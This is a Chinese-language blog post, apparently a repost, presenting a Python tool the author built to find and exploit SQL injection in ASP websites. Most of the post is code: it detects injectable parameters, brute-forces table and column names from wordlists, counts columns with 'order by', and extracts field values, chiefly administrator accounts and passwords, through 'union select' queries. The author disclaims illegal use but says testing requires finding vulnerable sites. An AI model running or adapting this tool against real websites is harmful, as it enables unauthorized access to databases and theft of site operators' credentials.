記一次SQL聯合查詢注入工具的編寫


這是一個ASP網站的簡單SQL注入檢測和利用的工具,主要的功能是簡單的檢測出SQL注入漏洞,可以使用該id存在的SQL注入來獲取數據庫中的網站管理員的表名和字段名,猜解數據庫中該表的字段數,最后通過聯合查詢來獲取網頁中包含的數據庫信息(主要是管理員賬號和密碼)。

這個程序用到的手段和順序都是根據書上的操作要編寫下去的,至於是什么書,我覺得這個網上都有,這里就廢話少說啦。

為什么會編寫這個工具呢?因為在書上或教程中看到說像:啊D注入工具等一些注入工具是使用語句"and (select top 1 len(字段名) from 表名)>x" 來解出字段值的長度,判斷的原理是:不斷的增加x的值來判斷字段值的長度,當x的值小於字段值的長度時,網頁的內容與原網頁一樣,當x的值大於該字段值的長度時就會導致網頁報錯;然后通過語句 "and (select top 1 asc(mid(字段名,1,1)) from 表名)>y" 來將字段值逐個破解出來,也是增加y的值來判斷的,判斷的原理與判斷字段值的長度一樣。因為我覺得通過這種方法來獲取數據庫的內容花費的時間有點長,要知道可以顯示的字符的ASCII碼值是32 - 127,一共是96個字符(應該沒錯吧,哈哈哈),所以耗費的時間視乎管理員賬號的長度和密碼長度,但是這個方法不需要知道表的字段數,只需要知道字段名和表名就可以啦,還是比較簡便的,而且有些網站是不允許聯合查詢的。

那現在開始切入正文,一個完整的SQL注入工具肯定有:檢測、爆破表名和字段名和獲取字段值 這幾個模塊的,現在來不塊塊的說。

 

SQL注入漏洞的檢測:

判斷的依據是

'             頁面報錯,或者與正常頁面有區別

and 1=1  頁面正常顯示,並與正常請求的頁面無誤

and 1=2  頁面顯示錯誤,與正常請求的頁面有區別,或者頁面並不是該請求的原頁面內容

通過在類似於 http://www.XXX.com/aaaa.asp?id=1234 后添加上述的語句,並根據上述的情況來判斷是否有注入漏洞,這些都只能做一些簡單的判斷而已。我是這樣寫的:

def CheckSQLInjectPoint(host):

    request = requests.get(host)
    content = request.content   # normal page  沒有轉碼,因為有些不能轉會導致報錯
    norPageMD5 = hashlib.md5(content).hexdigest()   # MD5值的十六進制

    # 保存所有頁面的MD5值的字典
    pageMD5 = {'t':norPageMD5,}  # 初始化字典,並將正常頁面的MD5保存

    # 通過這些簡單判斷sql注入是否存在
    InjectionMethod = {'number':['and 1=1','and 1=2'],
                       'char':["' and '1'='1","' and '1'='2"]}

    # 判斷是什么類型的注入  字符型   數字型
    idType = host[str(host).rfind('=') + 1:len(host)]
    injectType = ''
    injectValue = ''
    try:
        # 當不能將=號后面的值轉換成數字就會產生異常,可以轉換就有可能是數字型(也可以是字符型),
        # 不能轉換就一定是字符型
        tmp = int(idType)
        injectValue = InjectionMethod['number']
        injectType = 'number'
    except ValueError:
        injectValue = InjectionMethod['char']
        injectType = 'char'

    i = 1
    for way in injectValue:

        t = 't' + str(i)   # 注入之后的網頁的MD5值對應的字典key
        Host = host + ' ' + way   # 構造注入語句
        request = requests.get(Host)  # 請求帶有注入語句的網頁
        content = request.content   # normal page  沒有轉碼,因為有些不能轉會導致報錯
        pageMD5[t] = hashlib.md5(content).hexdigest()  # 通過不同的方式測試后生成不同頁面的MD5值
        i += 1

    # 判斷是否存在SQL注入漏洞
    if pageMD5['t'] == pageMD5['t1'] and pageMD5['t'] <> pageMD5['t2']:
        print('This url or id is exists sql injection')
        return injectType,host   # 可以注入,返回注入類型和鏈接,以便做后續工作
    else:
        print('This url or id is not exists sql injection')
        return 0  # 不能注入,返回 0

在上面的代碼中,我只是用我的理解來簡單判斷是數字型注入還是字符型注入,然后再利用構造的語句來提交,最后通過比較三個網頁的MD5值來判斷是否具有注入點。至於

字符型的注入在下面的代碼中我是沒有做處理的。知道了該網址有注入后,接下來就是破解表名和字段名了。

 

利用SQL注入獲取表名和字段名:

破解表名和字段名主要的是有強大的字典,只要你的字典夠強大,破解出表名和字段名的幾率就越大,這個主要是利用語句 "and exists(select * from 表名)" 來破解表名,

通過在網址后面加上該語句,如:http://www.XXX.com/aaaa.asp?id=1234 and exists(select * from 表名) 通過不斷的提交這構造過的網址請求,通過判斷網頁返回

的情況來判斷該表名是否存在。若http://www.XXX.com/aaaa.asp?id=1234 and exists(select * from manager) 返回的網頁與原網頁內容無異,表示該表名是存在的。

報錯或與原網頁不一樣,則表示該表不存在。知道表名之后,就可以破解字段名了,破解字段名也是一樣,只需要改變語句中'*'為字段名就可以了。

若http://www.XXX.com/aaaa.asp?id=1234 and exists(select name from manager) 返回的網頁與原網頁一樣,那就證明name字段是存在於manager表中的,反之,

不存在該表中。

def CrackTableColumnName(host):
    # 表名和列名保存的文件地址
    TableNamePath = r'H:\testFile\tableName.txt'
    ColumnNamePath = r'H:\testFile\columnName.txt'

    # normal request url
    norPage = requests.get(host)
    content = norPage.content
    norPageMD5 = hashlib.md5(content).hexdigest()   # 網頁的MD5值

    # 猜解表名和列名用到的sql語句
    injectionMethod = {'table':'and exists(select * from'}

    tableNameList = []    # 存儲所有表名
    columnNameDict = {}   # 根據表名來存儲該表的所有字段名的字典

    # 這些猜解的表名和列名應該使用文件讀取來破解
    with open(TableNamePath,'r') as fTable:
        for tableName in fTable:
            guessTableURL = host + ' ' + injectionMethod['table'] + ' ' + tableName + ')'   # 構造注入語句來請求
            testTable = requests.get(guessTableURL)   # 請求包含注入語句的網頁地址
            content = testTable.content      # 獲取網頁內容
            testTableMD5 = hashlib.md5(content).hexdigest()   # 計算網頁的MD5值
            # 當返回的頁面內容與正常請求一樣,則表示該表名或列名正確
            if testTableMD5 == norPageMD5:
                tableNameList.append(tableName.strip())
                print('This table name is : ' + tableName.strip())

    # 只有當表名已知時,才可以破解列名
    # 當表名有多個時,破解所有表名的字段名
    # 要先判斷是否存在表名
    if len(tableNameList) >= 1:
        # 破解所有表名
        for tableName in tableNameList:
            with open(ColumnNamePath,'r') as fColumn:
                columnNameList = []   # 存儲表名對應的所有列名
                for columnName in fColumn:
                    guessTableURL = host + ' ' + injectionMethod['table'] + ' ' + tableName + ')'   # 構造注入語句來請求
                    guessColumnURL = re.sub('\*',columnName,guessTableURL)  # 將'*'變為字段名,重構語句
                    testColumn = requests.get(guessColumnURL)
                    content = testColumn.content
                    testColumnMD5 = hashlib.md5(content).hexdigest()   # 網頁的MD5值
                    # 返回的頁面也原來正常請求的一樣則證明是正確的列名
                    if testColumnMD5 == norPageMD5:
                        columnNameList.append(columnName.strip())
                        print('This column name is : ' + columnName.strip())

                # 將所有的字段名存儲進相應的表名中
                columnNameDict[tableName] = columnNameList
    return tableNameList,columnNameDict   # 返回所有表名和所有字段名

 

利用SQL注入獲取表的字段數:

主要是使用 "order by 數字" 語句來判斷,當輸入的數字值大於表中的字段數量時,就會導致網頁報錯或與原網頁不一,當數字小於字段的數量時,網頁顯示的情況是與原網頁

一樣的。但是我這個程序中沒有做多個表的字段數量的破解,只是破解網址中位於的表的字段數量。我覺得不同的表字段的數量是不一樣的,但是我暫時不知道怎么獲取別的表

的字段數量,我想通過order by 語句只是獲取到該網址的id值位於的表的字段數,也就是當前網頁位於的表,而不是特定的表。

def CrackColumnCount(host):
    # 正常請求網頁,獲取MD5值
    norContent = requests.get(host).content
    norConMD5 = hashlib.md5(norContent).hexdigest()

    # 構造注入的SQL語句
    injectionCon = 'order by '   # 注入利用語句
    realNum = 0   # 保存真正的字段數
    Host = host + ' ' + injectionCon  # 注入地址,但不包括數量值

    # 因為數據庫的字段數量不大,所以直接可以使用盡可能大的值作為最大值
    for number in range(1,100):
        injectHost = Host + str(number)   # 構造注入地址
        injectContent = requests.get(injectHost).content   # 提交注入地址
        injectConMD5 = hashlib.md5(injectContent).hexdigest()  # 注入后的MD5
        # injectConMD5 == norConMD5  ---> number <= 真正的字段數
        if injectConMD5 == norConMD5:
            realNum = number
            continue
        else:
            break
    else:
        print('not found the column number ... ...')   # 窮舉所有的值都沒有找到時,輸出此句,做了一些防護手段的可能該值無論多大網頁的內容都是一樣的

    print('the column number is : ' + str(realNum))   # 輸出字段的數量
    return realNum

因為利用聯合查詢來獲取數據庫的數據是要知道:表名、字段名和字段數的,所以前面的代碼是必須的。通過上述的代碼獲取相關的信息后就可以使用聯合查詢來獲取字段的

值了。通過聯合查詢的難度在於網頁數據的處理,因為該方法是將字段值顯示或保存在網頁的內容中的,所以使用正則表達式來獲取到相應的字段值前要篩選無用的網頁數據,

並通過一層層的篩選才能得到最終的結果。

 

利用SQL注入獲取字段值:

首先對一些有用的標量進行聲明和初始化,並動態生成聯合查詢注入語句(union select 1,2,3,.. from 表名),提交並保存含有聯合查詢語句的網址的內容,用於后續的

比較,查找出字段值。

# 猜解哪個字段的位置可以用於顯示或傳值到網頁中
    n = 0    # 用於退出內層for循環的標志,該值不為0,則表示已經找到了一個可能可以查詢的位置數字
    Q = False    # 退出外層for循環的值
    ResultCon1 = ''   # 用於保存與injectContent2不同的內容
    ResultCon2 = ''   # 用於保存與injectContent1不同的內容
    # 注入數字,標志字段位置
    injectionSQL1 = ' ' +  'union select '
    for tableName in tableNameList:
        # 生成聯合查詢的字段數量,使用數字標識
        for j in range(1,columnLength + 1):
            if j == columnLength:
                injectionSQL1 = injectionSQL1 + str(j) + ' from ' + tableName   # 完整的注入語句
            else:
                injectionSQL1 = injectionSQL1 + str(j) + ','
        injectContent1 = requests.get(Host + ' ' + injectionSQL1).content   # 注入的網頁內容 1

接下來就是將字段名注入進聯合查詢的語句中,並且將injectContent2與上面的injectContent1進行比較,查找出哪個數字值可以用於獲取字段值的內容。主要是通過正則

表達式來查找,然后將兩個以'+'分隔開的網頁內容保存在兩個列表中,分別是list1和list2,然后比較這兩個列表的相對應的內容,如果出現有不一樣的,就將其保存到另一

變量中,再做后續的判斷,否則,繼續判斷下一個列表值。

注意:0x1c 的字符是一個不可見的符號,用於后續的字段值獲取,使用聯合查詢后,有些數值是位於列表中某段內容的末尾,那么這樣在后續比較時可能會導致IndexError

異常,因為后面在取字段值時,也是通過比較ResultCon1和ResultCon2的內容中的某個一樣的字符作為終止符,來停止繼續取字段值的內容的。

for i in range(1,columnLength + 1):
                injectionSQL2 = re.sub(str(i),columnName,injectionSQL1,1)   # 將字段名帶入注入語句中進行注入
                injectContent2 = requests.get(Host + ' ' + injectionSQL2).content  # 注入的網頁內容 2
                con1 = re.sub('\\r\\n','+',injectContent1)    # 去掉網頁中的所有換行符,並替換成 '+'
                con2 = re.sub('\\r\\n','+',injectContent2)
                list1 = str(con1).split('+')    # 以 '+' 分隔網頁內容
                list2 = str(con2).split('+')
                # 比較每行的內容是否一致,找出不一致的並輸出
                j = 0
                injectContentList = ''    # 將其內容的數字取出,與i進行比較
                while True:
                    try:
                        if list1[j] != list2[j]:
                            # 當發現有不同的內容即可停止查詢,后續的字段內容值的猜解,直接使用該位置進行查詢
                            injectContentList = list1[j]
                            ResultCon1 = list1[j] + '0x1c'   # 保存不同的兩個值   '0x1c' 該字符用作終止符 
                            ResultCon2 = list2[j] + '0x1c'
                            n = i
                            break
                        else:
                            j += 1
                    except IndexError:
                        print('done ... ...')
                        break

將上面代碼中保存的值ResultCon1和ResultCon2的值用來再次判斷是否網頁中該值的改變是由於注入字段名后引起的改變,如果是的話,則退出整個循環,否則,繼續下個

的值判斷,直到找到相應的值為止。這個判斷就是判斷改變的內容中有沒有包含相應的數字值是與當前循環的數值相等的,相等則有可能是由於該數字的位置注入字段名后引

起網頁內容的改變;反之,不是,繼續下個數值替換成字段名。

注意:其實這個n的值,我是想用它保存可以利用的數值位置,然后在后續字段名替換來獲取相應的字段值也是通過這個數值來獲取的,但是該功能也是沒有做到的,這些就要

交給有興趣的愛好者去搞了。

if n <> 0:
   number = re.findall('\d\d?',injectContentList)
   for k in number:
       if int(k) == i:
          Q = True
          break
        else:
          n = 0   # 將n重置為0
          continue
    else:
      continue
 if Q:
    break

取出字段值:

取出一整串字段值是通過比較兩個內容來獲取的,主要是先比較出第一個不一樣的內容,如:k2=5,然后在保存有字段值的內容中從該值一直取下去,直到有個字符與

ResultCon1[6]字符相等的字符為止,即為已經取值完整。

注意:當網頁中的內容含有字段值的某個字符時,可能會導致數據的缺失,或者數據不准確,所以這個功能仍需要完善的。

            k2 = 0
            for d1 in ResultCon1:
                d2 = ResultCon2[k2]
                manager = ''
                k1 = 0   # 標志字段值的長度  長度 = k1 - k2
                if d1 != d2:
                    for i in range(k2,100):
                        if ResultCon1[k2 + 1] == ResultCon2[i]:
                            k1 = i
                            break
                    manager = ResultCon2[k2:k1]
                    print(columnName,manager)
                    break
                k2 += 1

代碼寫到這里已經完整了,最后將最后一個函數的代碼完整的給出吧,因為這樣看起來比較好一點,還有一些注釋可能表達得不那么准確,請大家原諒了。

def CrackColumnValue(host,tableList,columnList,columnLength):

    # 猜解哪個字段的位置可以用於顯示或傳值到網頁中
    n = 0    # 用於退出內層for循環的標志,該值不為0,則表示已經找到了一個可能可以查詢的位置數字
    Q = False    # 退出外層for循環的值
    ResultCon1 = ''   # 用於保存與injectContent2不同的內容
    ResultCon2 = ''   # 用於保存與injectContent1不同的內容
    # 注入數字,標志字段位置
    injectionSQL1 = ' ' +  'union select '
    for tableName in tableNameList:
        # 生成聯合查詢的字段數量,使用數字標識
        for j in range(1,columnLength + 1):
            if j == columnLength:
                injectionSQL1 = injectionSQL1 + str(j) + ' from ' + tableName   # 完整的注入語句
            else:
                injectionSQL1 = injectionSQL1 + str(j) + ','
        injectContent1 = requests.get(Host + ' ' + injectionSQL1).content   # 注入的網頁內容 1
        # ------------------------------------------------------------------------- #
        for columnName in columnList[tableName]:
            for i in range(1,columnLength + 1):
                injectionSQL2 = re.sub(str(i),columnName,injectionSQL1,1)   # 將字段名帶入注入語句中進行注入
                injectContent2 = requests.get(Host + ' ' + injectionSQL2).content  # 注入的網頁內容 2
                con1 = re.sub('\\r\\n','+',injectContent1)    # 去掉網頁中的所有換行符,並替換成 '+'
                con2 = re.sub('\\r\\n','+',injectContent2)
                list1 = str(con1).split('+')    # 以 '+' 分隔網頁內容
                list2 = str(con2).split('+')
                # 比較每行的內容是否一致,找出不一致的並輸出
                j = 0
                injectContentList = ''    # 用於將其內容的數值取出,與i進行比較
                while True:
                    try:
                        if list1[j] != list2[j]:
                            # 當發現有不同的內容即可停止查詢,后續的字段內容值的猜解,直接使用該位置進行查詢
                            injectContentList = list1[j]
                            ResultCon1 = list1[j] + '0x1c'   # 保存不同的兩個值
                            ResultCon2 = list2[j] + '0x1c'
                            n = i
                            break
                        else:
                            j += 1
                    except IndexError:
                        print('done ... ...')
                        break

                # 已經可以知道哪個數字值注入字段名后會改變網頁的內容
                if n <> 0:
                    number = re.findall('\d\d?',injectContentList)
                    for k in number:
                        if int(k) == i:
                            Q = True
                            break
                        else:
                            n = 0   # 將n重置為0
                            continue
                    else:
                        continue
                if Q:
                    break

            # 取出sql數據
            # 先從data1與data2不同的字符開始取,data2一直取同時與data1不同字符的下個字符比較,
            # 如果相等,則終止取字符
            k2 = 0
            for d1 in ResultCon1:
                d2 = ResultCon2[k2]
                manager = ''
                k1 = 0   # 標志字段的長度  長度 = k - k2
                if d1 != d2:
                    for i in range(k2,100):
                        if ResultCon1[k2 + 1] == ResultCon2[i]:
                            k1 = i
                            break
                    manager = ResultCon2[k2:k1]
                    print(columnName,manager)
                    break
                k2 += 1

最后,我們來看一下代碼的使用和輸出效果吧,至於大家測試的話,那就需要去找一些有SQL注入漏洞的網站了。該程序可能不適合所有的網站,因為我在運行該程序時,

只是簡單的拿幾個網站進行測試而已。在此聲明,本人只是用於測試而已,並沒有做一些傷害網站利益的事情,也請大家不要用於非法用途,謝謝。

# 測試
if __name__ == '__main__':

    Host = 'http://www.xxx.net/xxx.asp?id=1234'
    injectType,host = CheckSQLInjectPoint(Host)
    tableNameList,columnNameList = CrackTableColumnName(host)
    length = CrackColumnCount(host)
    CrackColumnValue(host,tableNameList,columnNameList,length)

效果:

文章就到此結束了,如果有不足的地方,請大家不吝指教,因為我也是很多不懂才想通過編寫工具來加深自己的印象,並且鍛煉自己的編程能力和處理的能力,或者有更方便

的解決方法,也請大家指教,謝謝。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM